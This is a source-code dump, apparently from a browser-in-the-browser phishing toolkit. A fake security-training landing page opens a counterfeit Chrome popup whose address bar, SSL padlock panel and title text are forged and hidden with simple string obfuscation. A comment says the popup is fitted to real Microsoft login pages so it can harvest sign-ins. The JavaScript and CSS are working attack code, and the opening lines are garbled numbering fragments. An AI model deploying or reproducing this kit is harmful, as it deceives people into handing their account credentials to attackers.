\
29 | 
\
33 | 
\
36 | 
\
39 |
30 |
31 |
153 |
154 |
155 |
156 |
157 |
32 |
140 |
33 |
36 | Security
34 |in the first place
35 |
37 |
38 |
39 |
40 |
42 | Empower your organization with Etech IT - your ally in cybersecurity training and digital safety. Secure your future with us.
41 |
43 |
139 |
44 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
45 |
84 |
85 |
86 |
87 |
130 |
131 |
141 | 
145 |
146 |
145 |
147 | 
151 |
152 |
151 | 
${deobfString(loginBtn.innerText)}`
35 |
36 | loginBtn.addEventListener("click", triggerSecondaryFlowStart);
37 |
38 | const buildURL = () => {
39 | return calendlyURL = 'https://calendly.com/'+CALENDLY_PAGE_NAME+'/'+CALENDLY_EVENT_TYPE+'?embed_type=Inline&name='+INVITEE_NAME+'&email='+INVITEE_EMAIL;
40 | };
41 |
42 | const showCalendly = () => {
43 | const calendlyURL = buildURL();
44 | const calendlyFrame = shadowroot.getElementById('calendly-frame');
45 | calendlyFrame.src = calendlyURL;
46 | };
47 | showCalendly();
48 |
49 | document.addEventListener("secondaryFlowCompleted", handleSecondaryFlowComplete);
50 |
51 | }
52 |
53 |
54 | function triggerSecondaryFlowStart(){
55 | // Function to be called to let secondary know the start action is triggered.
56 | document.dispatchEvent(new CustomEvent('secondaryFlowStart', {bubbles: true, composed: true}));
57 | }
58 |
59 |
60 | function handleSecondaryFlowComplete(){
61 | console.log("Primary Received: secondaryFlowCompleted")
62 | // When the flow is done from secondary, remove the "paywall".
63 | const primaryOverlay = shadowroot.getElementById('primary-overlay-container');
64 | primaryOverlay.style.display = 'none';
65 | primaryOverlay.style.pointerEvents = 'auto';
66 | }
67 |
68 |
69 | // Listen to custom event equivalent to DOMContentLoaded but when fetch and injection is complete
70 | document.addEventListener("PrimaryContentLoaded", initializePage);
71 |
72 | // Listen to secondary flow completed event
73 | document.addEventListener("secondaryFlowCompleted", handleSecondaryFlowComplete);
74 |
75 |
76 | // We could also trigger different logic if the page is accessed directly by listening to DOM events
77 |
78 |
--------------------------------------------------------------------------------
/pages/primary/styles.css:
--------------------------------------------------------------------------------
1 | /* Basic Reset */
2 | * {
3 | margin: 0;
4 | padding: 0;
5 | box-sizing: border-box;
6 | font-family: Arial, sans-serif;
7 | }
8 |
9 | html,
10 | body {
11 | max-height: 100%;
12 | max-width: 100%;
13 | }
14 |
15 |
16 | /* Header */
17 | header {
18 | background-color: #121212;
19 | color: #fff;
20 | padding: 10px 0;
21 | display: flex;
22 | justify-content: space-between;
23 | align-items: center;
24 | }
25 |
26 | #logo {
27 | margin-left: 20px;
28 | font-size: 24px;
29 | }
30 |
31 | nav a {
32 | color: #fff;
33 | text-decoration: none;
34 | margin: 0 15px;
35 | }
36 |
37 | nav a:hover {
38 | text-decoration: underline;
39 | }
40 |
41 | #contact {
42 | margin-right: 20px;
43 | }
44 |
45 | /* Main Content */
46 | main {
47 | padding: 15px 10% 40px 10%;
48 | min-height: 100vh;
49 | /* background-color: #dbdbdb; */
50 | /* background-color: #292929; */
51 | background-color: #e0e0e0;
52 | }
53 |
54 |
55 |
56 | #hero {
57 |
58 | display: none;
59 |
60 | background-color: #f5f5f5;
61 | padding: 40px 0;
62 | text-align: center;
63 |
64 | }
65 |
66 | #training-info {
67 | background-color: #f5f5f5;
68 | padding: 20px 10%;
69 | border: 1px solid #ddd;
70 | position: relative;
71 | pointer-events: none;
72 | cursor: not-allowed;
73 | }
74 |
75 |
76 |
77 | #proceed-login {
78 | display: block;
79 | background-color: #007BFF;
80 | color: #fff;
81 | border: none;
82 | padding: 10px 20px;
83 | cursor: pointer;
84 | border-radius: 5px;
85 | margin-top: 20px;
86 | }
87 |
88 | #proceed-login:hover {
89 | background-color: #0056b3;
90 | }
91 |
92 | /* Footer */
93 | footer {
94 | background-color: #121212;
95 | color: #fff;
96 | padding: 15px 50px;
97 | text-align: center;
98 | position: sticky;
99 | bottom: 0;
100 | width: 100%;
101 | display: flex;
102 | flex-direction: row;
103 | justify-content: space-between;
104 | align-items: center;
105 | z-index: 1000000;
106 | }
107 |
108 | footer nav a {
109 | color: #fff;
110 | text-decoration: none;
111 | margin: 0 10px;
112 | }
113 |
114 | footer nav a:hover {
115 | text-decoration: underline;
116 | }
117 |
118 |
119 | h1,
120 | h2,
121 | h3 {
122 | margin-bottom: 10px;
123 | }
124 |
125 |
126 | /* FORM */
127 |
128 |
129 | #registration-form-section {
130 | margin-top: 21px;
131 | min-height: 85vh;
132 | }
133 |
134 |
135 | #calendly-frame {
136 | min-height: 85vh;
137 | }
138 |
139 |
140 |
141 | #primary-overlay-container{
142 |
143 | position: absolute;
144 | display: block;
145 | width: 80vw;
146 | height: 85vh;
147 | background-color: rgb(0 0 0 / 70%);
148 | z-index: 9;
149 | }
150 |
151 | #lg-h {
152 | font-weight: 600;
153 | text-align: left;
154 | }
155 |
156 | #lg-p {
157 | padding-left: 5px;
158 | text-align: left;
159 | }
160 |
161 | #login-btn {
162 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
163 | display: flex;
164 | background-color: #2F2F2F;
165 | color: #fff;
166 | border: none;
167 | padding: 0px 12px;
168 | cursor: pointer;
169 | border-radius: 5px;
170 | margin-top: 20px;
171 | text-align: center;
172 | width: fit-content;
173 | height: 41px;
174 | font-size: 15px;
175 | font-weight: 500;
176 | align-items: center;
177 | justify-content: center;
178 | margin: auto;
179 | margin-top: 27px;
180 | }
181 |
182 | #lgImg {
183 | width: 21px;
184 | height: 21px;
185 | margin: 0px 12px 0px 0px;
186 |
187 | }
188 |
189 | #login-btn:hover {
190 | background-color: #000;
191 | }
192 |
193 | #paywall-modal {
194 | display: block;
195 | position: absolute;
196 | top: 50%;
197 | left: 50%;
198 | transform: translate(-50%, -50%);
199 | background-color: #fff;
200 | padding: 20px 36px;
201 | border: 2px solid #ddd;
202 | width: 45%;
203 | height: 181px;
204 | text-align: center;
205 | z-index: 10;
206 | border-radius: 5px;
207 | box-shadow: 0 0 5px 0px black;
208 | }
--------------------------------------------------------------------------------
/pages/secondary/images/arrow-right.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
44 |
--------------------------------------------------------------------------------
/pages/secondary/images/close.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/pages/secondary/images/cookies.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/pages/secondary/images/exit.svg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/pages/secondary/images/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/secondary/images/favicon.ico
--------------------------------------------------------------------------------
/pages/secondary/images/logo.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/pages/secondary/images/maximize.svg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/pages/secondary/images/minimize.svg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/pages/secondary/images/new-tab.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/pages/secondary/images/settings.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/pages/secondary/images/ssl.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/pages/secondary/mac-chrome.css:
--------------------------------------------------------------------------------
1 |
2 | @charset "UTF-8";
3 |
4 | #pop-window {
5 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
6 | background-color: transparent;
7 | border-radius: 7px 7px 7px 7px;
8 | border: 1px solid #bbbcbd;
9 | position: fixed;
10 | overflow-y: auto;
11 | box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
12 | z-index: 9999;
13 | pointer-events: none;
14 | }
15 |
16 | #pop-background-container {
17 | border-radius: 7px 7px 7px 7px;
18 | border-color: transparent;
19 | position: fixed;
20 | overflow-y: auto;
21 | background-color: #fff;
22 | z-index: 1000;
23 | }
24 |
25 | .win-scroll {
26 | position: absolute;
27 | overflow-y: auto;
28 | z-index: 9998;
29 | pointer-events: auto!important;
30 | }
31 |
32 |
33 |
34 | /* Hide by default */
35 | #pop-window,
36 | #pop-background-container,
37 | .win-scroll {
38 | display: none;
39 | }
40 |
41 | #pop-head {
42 | width: 100%;
43 | }
44 |
45 | .pop-title-bar {
46 | user-select: none;
47 | border: none;
48 | display: flex;
49 | background: #dfe1e7;
50 | padding: 0px 0px 0px 5px;
51 | border-radius: 7px 7px 0px 0px;
52 | position: initial!important;
53 | height: 30px;
54 | }
55 |
56 | #pop-title-text {
57 | font-family: "system";
58 | font-size: 15px;
59 | opacity: 1;
60 | color: #3c4043;
61 | font-weight: 500;
62 | vertical-align: middle;
63 | width: calc(90% - 62px);
64 | display: flex;
65 | justify-content: center;
66 | align-items: center;
67 | }
68 |
69 | #pop-logo {
70 | padding-left: 5px;
71 | width: 13px;
72 | width: 16px;
73 | margin-right: 6px;
74 | pointer-events: none;
75 | }
76 |
77 | #pop-uri-bar {
78 | height: 28px;
79 | background-color: #f2f3f4;
80 | border-bottom: 1px solid lightgray;
81 | width: 100%;
82 | display: flex;
83 | align-items: center;
84 | white-space: nowrap;
85 | overflow: scroll;
86 | text-overflow: ellipsis;
87 | -ms-overflow-style: none;
88 | scrollbar-width: none;
89 | user-select:all;
90 | }
91 |
92 |
93 | /* Fullscreen overlay */
94 | #primary {
95 | position: fixed;
96 | top: 0;
97 | left: 0;
98 | right: 0;
99 | bottom: 0;
100 | background-color: #c5c5c5;
101 | z-index: 999;
102 | pointer-events: auto;
103 | width: 100%;
104 | height: 100%;
105 | }
106 |
107 | #landingPageFrame {
108 | width: 100%;
109 | height: 100%;
110 | border: none;
111 | }
112 |
113 |
114 | #pop-uri-bar ::selection {
115 | color: #202124;
116 | background: #b3d8ff
117 | }
118 |
119 | #pop-uri-bar::-webkit-scrollbar {
120 | display: none;
121 | }
122 |
123 | #pop-ssl-icon {
124 | height: 25px;
125 | width: 25px;
126 | min-height: 25px;
127 | min-width: 25px;
128 | border-radius: 25px;
129 | margin-right: 3px;
130 | margin-left: 3px;
131 | }
132 |
133 | #pop-ssl-icon:hover {
134 | background-color: #d0d3db;
135 | }
136 |
137 | #pop-ssl-icon.visible {
138 | background-color: #b7b8ba;
139 | }
140 |
141 | #pop-ssl-icon img{
142 | user-select: none;
143 | position: relative;
144 | left: 3px;
145 | }
146 |
147 | #pop-uri-prefix {
148 | color: #696a6c;
149 | font-size: 14px;
150 | }
151 |
152 | #pop-uri-host {
153 | color: #202124;
154 | font-size: 14px;
155 | }
156 |
157 |
158 |
159 | #pop-uri-path {
160 | color: #696a6c;
161 | font-size: 14px;
162 | white-space: nowrap;
163 | overflow: hidden;
164 | text-overflow: ellipsis;
165 | padding-right: 3px;
166 | }
167 |
168 | .pop-control-btns {
169 | display: flex;
170 | flex-direction: row;
171 | justify-content: right;
172 | align-items: center;
173 | margin-left: 5px;
174 | }
175 |
176 | .pop-control-btns > div {
177 | width: 12px;
178 | height: 12px;
179 | background: #f9f9f9;
180 | border-radius: 50%;
181 | margin: 0 7px 0 0;
182 | color: #1c1c1e;
183 | display: flex;
184 | justify-content: center;
185 | align-items: center;
186 | }
187 |
188 |
189 | #pop-control-esc {
190 | background: #ff6057;
191 | border: 1px solid #e14640;
192 | }
193 | #pop-control-min {
194 | background: #ffbd2e;
195 | border: 1px solid #dfa123;
196 | }
197 |
198 | #pop-control-max {
199 | background: #27c93f;
200 | border: 1px solid #1dad2b;
201 | }
202 |
203 | .pop-control-btns > div::after{
204 | content: "";
205 | font-family: Arial, sans-serif;
206 | font-weight: 400;
207 | color: inherit;
208 | position: relative;
209 | opacity: .8;
210 | }
211 |
212 | #pop-control-esc:hover::after {
213 | content: "×";
214 | font-size: 14px;
215 | top: 1px;
216 | }
217 |
218 | #pop-control-min:hover::after {
219 | content: "−";
220 | font-size: 14px;
221 | }
222 |
223 | #pop-control-max:hover::after {
224 | content: "⤡";
225 | font-size: 15px;
226 | top: -1px;
227 | }
228 |
229 | .pop-window-content {
230 | height: calc(100% - 50px);
231 | overflow: hidden;
232 | }
233 |
234 |
235 | /* Realistic SSL Details Window */
236 | #pop-ssl {
237 | font-size: 12px;
238 | line-height: 1.5;
239 | color: #202124;
240 | width: 300px;
241 | height: 183px;
242 | background-color: #ffffff;
243 | border-radius: 0px 0px 3px 3px;
244 | position: relative;
245 | top: -1px;
246 | display: none;
247 | border: 1px solid #d3d3d3;
248 | box-shadow: 0 4px 8px rgba(0,0,0,0.1);
249 | }
250 |
251 | #pop-head,
252 | #pop-ssl {
253 | pointer-events: auto;
254 | }
255 |
256 | div#pop-ssl.visible{
257 | display: block!important;
258 | }
259 |
260 | #pop-ssl-container {
261 | display: flex;
262 | flex-direction: column;
263 | padding: 7px 0px 7px 0px;
264 | }
265 |
266 | #pop-ssl-head {
267 | display: flex;
268 | flex-direction: row;
269 | align-items: center;
270 | justify-content: space-between;
271 | padding: 9px 5px 9px 16px;
272 | }
273 |
274 | #pop-ssl-head-title {
275 | font-size: 16px;
276 | font-weight: 200;
277 | opacity: .9;
278 | }
279 |
280 | #pop-ssl-head-esc {
281 | width: 25px;
282 | height: 25px;
283 | border-radius: 25px;
284 | background-color: transparent;
285 | }
286 |
287 | #pop-ssl-head-esc img {
288 | width: 11px;
289 | height: 11px;
290 | top: 3px;
291 | left: 7px;
292 | position: relative;
293 | opacity: .72;
294 | }
295 |
296 | #pop-ssl-head-esc:hover{
297 | background-color: #eaebeb;
298 | }
299 |
300 | #pop-ssl-body {
301 | display: flex;
302 | flex-direction: column;
303 | padding-bottom: 5px;
304 | }
305 |
306 | .pop-ssl-row {
307 | display: flex;
308 | flex-direction: row;
309 | justify-content: space-between;
310 | padding: 8px 14px 8px 13px;
311 | }
312 |
313 | .pop-ssl-row:hover{
314 | background-color: #eaebeb;
315 | }
316 |
317 | .pop-ssl-row-left {
318 | display: flex;
319 | flex-direction: row;
320 | justify-content: flex-start;
321 | align-items: center;
322 | }
323 |
324 | .pop-ssl-row-pre {
325 | margin: 3px 12px 3px 3px;
326 | }
327 | .pop-ssl-row-pre img {
328 | position: relative;
329 | }
330 |
331 |
332 | .pop-ssl-row-text {
333 | font-size: 13px;
334 | }
335 |
336 | .pop-ssl-row-post img{
337 | position: relative;
338 | top: 2px;
339 | }
340 |
341 |
342 | /* Recoloring the icons using CSS filters */
343 | #pop-ssl-head-esc img,
344 | .pop-ssl-row-pre img,
345 | .pop-ssl-row-post img {
346 | filter: brightness(0%) contrast(39%);
347 | }
348 |
349 | #pop-ssl-icon img {
350 | filter: brightness(0%) contrast(24%);
351 | }
352 |
353 |
354 | /* Dark Theme Detection Styles */
355 | @media (prefers-color-scheme: dark) {
356 |
357 | #pop-window {
358 | border: none;
359 | }
360 |
361 | .pop-title-bar {
362 | background: #35363a;
363 | }
364 |
365 | #pop-title-text {
366 | color: #ffffff;
367 | opacity: .72;
368 | }
369 |
370 | #pop-uri-bar {
371 | background-color: #1d1d1d;
372 | }
373 |
374 | #pop-uri-bar ::selection {
375 | color: #ffffff;
376 | background: #3f628b;
377 | }
378 |
379 | #pop-ssl-icon:hover {
380 | background-color: #88888826;
381 | }
382 | #pop-ssl-icon.visible {
383 | background-color: #d0d2d736;
384 | }
385 |
386 | #pop-ssl {
387 | border: 1px solid #686869;
388 | }
389 |
390 | #pop-uri-prefix {
391 | color: #878383;
392 | }
393 |
394 |
395 | #pop-uri-host {
396 | color: white;
397 | }
398 |
399 |
400 | #pop-uri-path {
401 | color: #878383;
402 | }
403 |
404 | #pop-ssl {
405 | background-color: #292a2d;
406 | color: #efefef;
407 | }
408 |
409 | #pop-ssl-head-esc:hover{
410 | background-color: #9895950d;
411 | }
412 |
413 | .pop-ssl-row:hover{
414 | background-color: #424346;
415 | }
416 |
417 | /* Recoloring the icons using CSS filters */
418 | #pop-ssl-head-esc img,
419 | .pop-ssl-row-pre img,
420 | .pop-ssl-row-post img {
421 | filter: contrast(0);
422 | }
423 |
424 | #pop-ssl-icon img {
425 | filter: contrast(0);
426 | }
427 |
428 | #pop-ssl-head-esc,
429 | .pop-ssl-row-pre,
430 | .pop-ssl-row-post {
431 | filter: contrast(5) brightness(1.5);
432 | }
433 |
434 | #pop-ssl-icon {
435 | filter: contrast(100);
436 | }
437 |
438 | }
439 |
--------------------------------------------------------------------------------
/pages/secondary/script.js:
--------------------------------------------------------------------------------
1 |
2 | // For demo obfuscation
3 | const PREFIX = "OBFS";
4 | const SUFFIX = "END";
5 |
6 | const obfEnd = 'OBFS==Qaz12aEND';
7 |
8 | const targetElementSelector = '.win-scroll';
9 |
10 | // Sizing constants
11 | // Not efficient, but works.
12 | const popHeight = "600px";
13 | const popWidth = "660px";
14 | const originalContentHeight = "500px";
15 |
16 | const popMaximizedHeight = "600px";
17 | const popMaximizedWidth = "900px";
18 |
19 | const popTop = "50%";
20 | const popLeft = "50%";
21 | const popTransform = "translate(-50%, -50%)";
22 |
23 | // We add an extra offset from top to make it more realistic
24 | const popContentTransform = "translate(-50%, -50%) translateY(50px)";
25 |
26 |
27 |
28 | function setInitialSize() {
29 | // Sets default/initial size and position
30 | $("#pop-window").css("width", popWidth);
31 | $("#pop-window").css("height", popHeight);
32 | $("#pop-window").css("top", popTop);
33 | $("#pop-window").css("left", popLeft);
34 | $("#pop-window").css("transform", popTransform);
35 |
36 | $("#pop-background-container").css("width", popWidth);
37 | $("#pop-background-container").css("height", popHeight);
38 | $("#pop-background-container").css("top", popTop);
39 | $("#pop-background-container").css("left", popLeft);
40 | $("#pop-background-container").css("transform", popTransform);
41 |
42 | $(targetElementSelector).css("width", popWidth);
43 | $(targetElementSelector).css("height", originalContentHeight);
44 | $(targetElementSelector).css("top", popTop);
45 | $(targetElementSelector).css("left", popLeft);
46 | $(targetElementSelector).css("transform", popContentTransform);
47 | }
48 |
49 |
50 |
51 | function deobfString(str) {
52 | let withoutPrefixSuffix = str.slice(PREFIX.length, -SUFFIX.length);
53 | let reversed = withoutPrefixSuffix.split('').reverse().join('');
54 | return atob(reversed);
55 | }
56 |
57 |
58 | function openTop() {
59 | $("#pop-window").css('display', "block");
60 | $("#pop-background-container").css('display', "block");
61 | deObfData();
62 |
63 | applyPositioning();
64 | }
65 |
66 | function openIn(){
67 | let checkExist = setInterval(function() {
68 |
69 | if ($(targetElementSelector).length) {
70 | $(targetElementSelector).css('display', "block");
71 |
72 | applyPositioning();
73 |
74 | // Set up a short duration recheck to combat other scripts
75 | let recheckDuration = 1000; // 1 second
76 | let recheckStart = Date.now();
77 | let recheckInterval = setInterval(function() {
78 | if (Date.now() - recheckStart > recheckDuration) {
79 | clearInterval(recheckInterval);
80 | return;
81 | }
82 | $(targetElementSelector).css('display', "block");
83 |
84 | applyPositioning();
85 | }, 50); // recheck every 50 milliseconds
86 |
87 | clearInterval(checkExist);
88 | }
89 | }, 50);
90 | }
91 |
92 |
93 |
94 | function deObfData() {
95 | try{
96 | // URI Bar
97 | document.getElementById('pop-uri-prefix').innerText = deobfString(document.getElementById('pop-uri-prefix').innerText) + "//";
98 | document.getElementById('pop-uri-host').innerText = deobfString(document.getElementById('pop-uri-host').innerText);
99 | document.getElementById('pop-uri-path').innerText = "/" + deobfString(document.getElementById('pop-uri-path').innerText);
100 |
101 | // Rest
102 | document.getElementById('pop-title-text').innerText = deobfString(document.getElementById('pop-title-text').innerText);
103 |
104 | document.getElementById('pop-ssl-head-title').innerText = deobfString(document.getElementById('pop-ssl-head-title').innerText);
105 | document.getElementById('pop-ssl-text-1').innerText = deobfString(document.getElementById('pop-ssl-text-1').innerText);
106 | document.getElementById('pop-ssl-text-2').innerText = deobfString(document.getElementById('pop-ssl-text-2').innerText);
107 | document.getElementById('pop-ssl-text-3').innerText = deobfString(document.getElementById('pop-ssl-text-3').innerText);
108 |
109 | } catch {
110 | return;
111 | }
112 | }
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 | function handleDnDLogic() {
122 | //////////////// Make window draggable ////////////////
123 | let draggable = $('#pop-window');
124 | let winScroll = $(targetElementSelector);
125 | let title = $('#pop-title-bar');
126 |
127 | title.on('mousedown', function(e) {
128 |
129 | if (e.target.id.indexOf('pop-control') === -1) {
130 |
131 | let dr = $(draggable).addClass("drag");
132 | let db = $('#pop-background-container');
133 | let dt = $(targetElementSelector).addClass("drag");
134 |
135 |
136 | let initialDiffX = dt.offset().left - dr.offset().left;
137 | let initialDiffY = dt.offset().top - dr.offset().top;
138 |
139 | let ypos = e.pageY - dr.offset().top;
140 | let xpos = e.pageX - dr.offset().left;
141 |
142 | $(document.body).on('mousemove', function(e) {
143 |
144 | let itop = e.pageY - ypos;
145 | let ileft = e.pageX - xpos;
146 |
147 | if(dr.hasClass("drag")) {
148 | dr.offset({top: itop, left: ileft});
149 | db.offset({top: itop, left: ileft});
150 | }
151 |
152 | if(dt.hasClass("drag")) {
153 | dt.offset({top: itop + initialDiffY, left: ileft + initialDiffX});
154 | }
155 |
156 | }).on('mouseup', function(e) {
157 |
158 | let draggable = $('#pop-window');
159 |
160 | let dr = $(draggable);
161 | let dt = $(targetElementSelector);
162 |
163 | if (dr.hasClass("drag")){
164 | dr.removeClass("drag");
165 | dt.removeClass("drag");
166 |
167 | let btbPosition = {
168 | top: dr.offset().top,
169 | left: dr.offset().left,
170 | width: dr.css('width'),
171 | height: dr.css('height'),
172 | enlarged: dr.hasClass('enlarged')
173 | };
174 |
175 |
176 | localStorage.setItem('pop-window-position', JSON.stringify(btbPosition));
177 |
178 | let winScrollOffset = {
179 | top: dt.offset().top - dr.offset().top,
180 | left: dt.offset().left - dr.offset().left
181 | };
182 |
183 | localStorage.setItem('win-scroll-offset', JSON.stringify(winScrollOffset));
184 | }
185 |
186 | });
187 | }
188 | });
189 | }
190 |
191 | // Function to apply positioning
192 | function applyPositioning() {
193 |
194 | // Set default/initial size and position then check for modifications needed
195 | setInitialSize();
196 |
197 | let storedBtbPosition = localStorage.getItem('pop-window-position');
198 | let storedWinScrollOffset = localStorage.getItem('win-scroll-offset');
199 |
200 |
201 | if(storedBtbPosition !== null && storedWinScrollOffset !== null) {
202 |
203 | // console.log("storedBtbPosition: ", storedBtbPosition)
204 |
205 |
206 | let btbPosition = JSON.parse(storedBtbPosition);
207 | let winOffset = JSON.parse(storedWinScrollOffset);
208 |
209 | if (btbPosition.enlarged === "true"){
210 | $("#pop-control-max").addClass("enlarged");
211 | }
212 |
213 | $("#pop-window").css('width', btbPosition.width);
214 | $("#pop-window").css('height', btbPosition.height);
215 | $("#pop-background-container").css('width', btbPosition.width);
216 | $("#pop-background-container").css('height', btbPosition.height);
217 |
218 | let winScrollTop = btbPosition.top + winOffset.top;
219 | let winScrollLeft = btbPosition.left + winOffset.left;
220 |
221 | $("#pop-window").offset({
222 | top: btbPosition.top,
223 | left: btbPosition.left
224 | });
225 | $("#pop-background-container").offset({
226 | top: btbPosition.top,
227 | left: btbPosition.left
228 | });
229 | $(targetElementSelector).offset({
230 | top: winScrollTop,
231 | left: winScrollLeft
232 | });
233 |
234 | }
235 |
236 | }
237 |
238 |
239 |
240 | ////////////////// Onclick listeners //////////////////
241 |
242 | function closePopup(){
243 | $("#pop-window").css("display", "none");
244 | $("#pop-background-container").css("display", "none");
245 |
246 |
247 | $(targetElementSelector).css("display", "none");
248 | $(targetElementSelector).classList = "win-scroll closed";
249 |
250 |
251 | $("#pop-ssl").removeClass("visible");
252 | $("#pop-ssl-icon").removeClass("visible");
253 | localStorage.setItem('bb-open', false);
254 | localStorage.removeItem('pop-window-position');
255 | localStorage.removeItem('win-scroll-offset');
256 | }
257 |
258 |
259 |
260 | function toggleSSLPopup(){
261 | let sslPopup = $("#pop-ssl");
262 | let sslIcon = $("#pop-ssl-icon");
263 | if (sslPopup.hasClass("visible")){
264 | sslPopup.removeClass("visible")
265 | sslIcon.removeClass("visible")
266 | } else {
267 | sslPopup.addClass("visible")
268 | sslIcon.addClass("visible")
269 | }
270 |
271 | }
272 |
273 |
274 |
275 |
276 | function enlarge(){
277 | let max = document.getElementById("pop-control-max");
278 |
279 | if(max.classList.contains("enlarged")){
280 | $("#pop-window").css("width", popWidth);
281 | $("#pop-window").css("height", popHeight);
282 | $("#pop-background-container").css("width", popWidth);
283 | $("#pop-background-container").css("height", popHeight);
284 | $("#pop-title-bar-width").css('width', '100%').css('width', '+=2px');
285 | $("#pop-content-container").css("width", "100%");
286 | $("#pop-control-max").removeClass("enlarged");
287 | }
288 | else{
289 | $("#pop-window").css("width", popMaximizedWidth);
290 | $("#pop-window").css("height", popMaximizedHeight);
291 | $("#pop-background-container").css("width", popMaximizedWidth);
292 | $("#pop-background-container").css("height", popMaximizedHeight);
293 | $("#pop-title-bar-width").css('width', '100%').css('width', '+=2px');
294 | $("#pop-content-container").css("width", "100%");
295 | $("#pop-control-max").addClass("enlarged");
296 |
297 | }
298 |
299 | let dr = $("#pop-window");
300 | let dt = $(targetElementSelector);
301 |
302 | let btbPosition = {
303 | top: dr.offset().top,
304 | left: dr.offset().left,
305 | width: dr.css('width'),
306 | height: dr.css('height'),
307 | enlarged: dr.hasClass('enlarged')
308 | };
309 | localStorage.setItem('pop-window-position', JSON.stringify(btbPosition));
310 |
311 | let winScrollOffset = {
312 | top: dt.offset().top - dr.offset().top,
313 | left: dt.offset().left - dr.offset().left
314 | };
315 | localStorage.setItem('win-scroll-offset', JSON.stringify(winScrollOffset));
316 | }
317 |
318 |
319 |
320 | async function setPrimaryContent(locationDivId, contentHTML, cssUrls, jsUrls){
321 | // Handling the landing page content this way to allow more isolation of styles and scripts
322 | // and enable more efficient methods that will come soon
323 | // Create shadowroot element and append to it HTML, CSS, JS content
324 |
325 | const contentDiv = document.getElementById(locationDivId);
326 | const shadowRoot = contentDiv.attachShadow({ mode: 'open' });
327 |
328 | let scriptsToLoad = jsUrls.length;
329 |
330 | const checkAllLoaded = () => {
331 | if (scriptsToLoad === 0) {
332 | // dispatch the event when all scripts are loaded
333 | const contentLoadedEvent = new Event('PrimaryContentLoaded', { bubbles: true, composed: true });
334 | document.dispatchEvent(contentLoadedEvent);
335 | console.log("Secondary Dispatched: PrimaryContentLoaded")
336 |
337 | // now check if the auth flow is completed and inform primary
338 | handleIsOpenedState(shadowRoot)
339 | }
340 | };
341 |
342 | // function to append CSS files
343 | cssUrls.forEach(url => {
344 | const link = document.createElement('link');
345 | link.href = url;
346 | link.type = 'text/css';
347 | link.rel = 'stylesheet';
348 | shadowRoot.appendChild(link);
349 | });
350 |
351 | // append HTML content
352 | shadowRoot.innerHTML += contentHTML;
353 |
354 |
355 | // function to append JS files
356 | jsUrls.forEach(url => {
357 | const script = document.createElement('script');
358 | script.src = url;
359 | script.type = 'text/javascript';
360 | script.onload = () => {
361 | scriptsToLoad--;
362 | checkAllLoaded();
363 | };
364 | script.onerror = () => {
365 | console.error(`Error loading script: ${url}`);
366 | scriptsToLoad--;
367 | checkAllLoaded();
368 | };
369 | shadowRoot.appendChild(script);
370 | });
371 |
372 | // check if there are no scripts to load
373 | checkAllLoaded();
374 | }
375 |
376 |
377 |
378 | function handleSecondaryFlowStart() {
379 | // triggered opening from primary, will open always
380 | localStorage.setItem('bb-open', true);
381 | openTop();
382 | openIn();
383 | }
384 |
385 | function handleIsOpenedState (shadowRoot) {
386 |
387 | let targetPath = '/' + deobfString(obfEnd);
388 | let doneAlready = localStorage.getItem('bb-done');
389 | let openedAlready = localStorage.getItem('bb-open');
390 |
391 |
392 | let wasOpened = openedAlready === "true";
393 | let isCompleted = window.location.pathname === targetPath || doneAlready;
394 |
395 | if (wasOpened && !isCompleted) {
396 | openTop();
397 | openIn();
398 | }
399 | // Check if we just reached the final flow page or flow was already completed
400 | else if (isCompleted) {
401 | console.log("Secondary: flow is done");
402 | localStorage.setItem('bb-open', false);
403 | localStorage.setItem('bb-done', true);
404 | // Inform primary page that flow is completed
405 | shadowRoot.dispatchEvent(new CustomEvent('secondaryFlowCompleted', {bubbles: true, composed: true}));
406 | }
407 |
408 |
409 | }
410 |
411 |
412 | // fix for JS-based re-mounting and class changes of target elements (seen in branded Microsoft pages)
413 | // also check for silent state/navigation changes that might cause similar behavior
414 | // reference: https://github.com/waelmas/frameless-bitb/issues/4
415 | function startObserving(targetSelector) {
416 | let targetElement = document.querySelector(targetSelector);
417 | const observerConfig = { childList: true, subtree: true, attributes: true, attributeFilter: ['class'] };
418 |
419 | const observer = new MutationObserver((mutations) => {
420 | mutations.forEach((mutation) => {
421 |
422 | if (mutation.type === 'attributes' && targetElement.classList.contains('closed')) {
423 | return; // ignore mutation due to control-btns
424 | }
425 | // check if the mutation is due to D&D by checking the 'drag' class and ignore style changes
426 | if (mutation.type === 'attributes' && targetElement.classList.contains('drag')) {
427 | // sleep for a short duration to allow the D&D to complete
428 | setTimeout(() => {}, 50);
429 | return; // ignore mutation due to D&D
430 | }
431 | if (mutation.type === 'childList') {
432 | mutation.addedNodes.forEach((node) => {
433 | if (node === targetElement || node.contains(targetElement)) {
434 | handleIsOpenedState();
435 | }
436 | });
437 | mutation.removedNodes.forEach((node) => {
438 | if (node === targetElement || node.contains(targetElement)) {
439 | // target element removed, attempt to find and observe it again
440 | waitForElement(targetSelector);
441 | }
442 | });
443 | }
444 | else if (mutation.type === 'attributes' && mutation.attributeName === 'class') {
445 | handleIsOpenedState();
446 | }
447 | });
448 | });
449 |
450 | const observe = () => {
451 | const bodyObserver = new MutationObserver(() => {
452 | const newTargetElement = document.querySelector(targetSelector);
453 | if (newTargetElement && newTargetElement !== targetElement) {
454 | targetElement = newTargetElement; // update the target element reference
455 | observer.observe(targetElement.parentElement, observerConfig);
